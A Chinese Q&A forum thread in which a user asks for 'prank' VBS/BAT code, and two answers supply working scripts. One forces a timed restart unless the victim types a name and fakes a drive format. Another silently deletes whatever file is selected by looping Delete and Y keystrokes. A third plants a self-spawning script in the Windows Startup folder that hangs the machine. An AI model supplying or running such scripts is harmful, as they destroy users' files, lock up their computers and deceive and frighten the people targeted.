求大量VBS.BAT.EXE计算机整人代码

Question

RT请在各类型代码后面注明扩展名谢谢咯..内容丰富的更好关机重启代码就算了

Answer 1

WScript.Echo("你好")
WScript.Echo("你就是xx吧！")
WScript.Echo("你知道我是谁吗？")
WScript.Echo("猜猜看！")
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""我的名字是？答不出来就一分钟关机，不信，试下···"" ",0 ,true
dim a
do while(a <> "胡世琦")
a = inputbox ("说我的名字,就不关机，说我的名字　","说不说","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "恭喜你通过了第一关！"
WScript.Echo("看来你认识我..........................")
WScript.Echo("的主人！")
WScript.Echo("我是病毒！！！")
WScript.Echo("我要格式化了你的C盘。")
WScript.Echo("正在格式化中！")
WScript.Echo("20%")
WScript.Echo("30%")
WScript.Echo("40%")
WScript.Echo("53%")
WScript.Echo("68%")
WScript.Echo("84%")
WScript.Echo("99%")
WScript.Echo("100%")
WScript.Echo("格式化失败！")
WScript.Echo("刚才是逗你玩的！")
WScript.Echo("再来！")
WScript.Echo("正在格式化中！")
WScript.Echo("20%")
WScript.Echo("30%")
WScript.Echo("40%")
WScript.Echo("53%")
WScript.Echo("68%")
WScript.Echo("84%")
WScript.Echo("99%")
WScript.Echo("格式化失败！")
WScript.Echo("失误失误！(⊙o⊙)…")
WScript.Echo("是不是想关掉我?")
WScript.Echo("关了我吧！")
WScript.Echo("没有内容了！")
WScript.Echo("不关我会来索命的！")
WScript.Echo(" ")
WScript.Echo(" ")
WScript.Echo("我会阴魂不散的！")
WScript.Echo("我要死了！")
WScript.Echo("每1分钟我会找你一次！")
WScript.Echo("永别啦！！！")
do until i=10
i=i+1
msgbox "我阴魂不散那！找你来索命了！",16+4096,"系统提示"
wscript.sleep 30*60 '
loop
后缀为.vbs

Answer 2

set ws=createobject("wscript.shell")
set fso=createobject("scripting.filesystemobject")
do
ws.sendkeys "{Delete}"
wscript.sleep 300
ws.sendkeys "{Y}"
loop
后缀为.vbs
点哪个文件就删哪个文件

**********************************
set ws=createobject("wscript.shell")
set fso=createobject("scripting.filesystemobject")
if not fso.fileexists("1.vbs") then
set file=fso.createtextfile("1.vbs")
file.writeline "set ws=createobject(wscript.shell)"
file.writeline "set fso=createobject(scripting.filesystemobject)"
file.writeline "do"
file.writeline "ws.sendkeys {H}"
file.writeline "ws.run cmd /c 1.vbs,vbhide"
file.writeline "loop"
file.close
end if
do
ws.run "cmd /c copy 1.vbs %systemdrive%\Documents and Settings\All Users\「开始」菜单\程序\启动",vbhide
ws.run "cmd /c 1.vbs",vbhide
msgbox "你好"
do until i=10000000000000000000000000000000000
i=i+1
msgbox "我是病毒",17+4096,"系统提示"
wscript.sleep 30
loop
loop

后缀为.vbs

死机无法正常关机